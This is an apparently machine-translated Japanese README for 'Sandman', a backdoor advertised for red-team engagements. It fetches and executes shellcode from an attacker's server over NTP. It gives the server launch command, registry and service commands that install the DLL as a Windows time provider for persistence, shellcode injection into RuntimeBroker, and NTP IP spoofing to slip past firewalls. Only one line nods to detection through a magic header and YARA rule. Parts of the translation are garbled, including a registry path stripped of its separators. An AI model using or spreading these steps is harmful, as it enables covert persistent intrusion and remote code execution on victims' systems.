サンドマンは、赤いチームのエンゲージメント中に強化されたネットワークに取り組むことを目的としたバックドアです。
Sandmanはステイガーとして働き、NTP(時間と日付を同期するプロトコル)をレバレッジして、事前に定義されたサーバーから任意のシェルコードを取得および実行します。
NTPは多くのディフェンダーによって見落とされているプロトコルであるため、ネットワークのアクセスが広くなります。

Windows / *nixマシンで実行:
python3 sandman_server.py " Network Adapter " " Payload Url " " optional: ip to spoof "ネットワークアダプター:サーバーをリッスンしたいアダプター(たとえば、Windowsのイーサネット、 *nixのeth0)。
ペイロードURL:シェルコードへのURL、それはあなたのエージェント(たとえば、CobaltstrikeまたはMeterPreter)または別のステイガーである可能性があります。
IPからスプーフィング:正当なIPアドレス(たとえば、microsoft.comのIPアドレスなど)をproofしたい場合。
開始するには、以下に記載されているようにSandmanbackdoorをコンパイルできます。これは、Executeassemblyを介して実行するか、NTPプロバイダーとして実行するか、実行/インジェクションを実行できるため、単一の軽量C#実行可能です。
それを使用するには、簡単な手順に従う必要があります。
reg add " HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersNtpClient " /v DllName /t REG_SZ /d " C:PathToTheDll.dll " sc stop w32time
sc start w32time注:CPUオプションではなく、X64オプションをコンパイルしていることを確認してください。
攻撃者の制御サーバーから任意のペイロードを取得して実行します。
NTPは通常FWでは許可されているため、硬化ネットワークで動作できます。
IPスプーフィングを介して正当なNTPサーバーになりすまします。
Python 3.9
要件は要件ファイルで指定されています。
バックドアをコンパイルするために、Visual Studio 2022を使用しましたが、使用セクションで述べたように、VS2022とCSCの両方でコンパイルできます。 use_shellcodeを使用してコンパイルし、orcaのシェルコードを使用するか、使用せずにwebclientを使用することができます。
バックドアをコンパイルするには、Visual Studio 2022を使用しました。また、Dllexport(Nugetまたはその他の方法を介して)をインストールしてコンパイルする必要があります。 use_shellcodeを使用してコンパイルし、orcaのシェルコードを使用するか、使用せずにwebclientを使用することができます。
シェルコードがRuntimeBrokerに注入されます。
疑わしいNTP通信は、既知のマジックヘッダーから始まります。
ヤラのルール。
シェルコード用のオルカ。
Time Provider IdeaのTim McGuffinに感謝します。
すでに貢献してくれた人たちのおかげで、私は喜んで貢献を受け入れ、プルリクエストをして、私はそれをレビューします!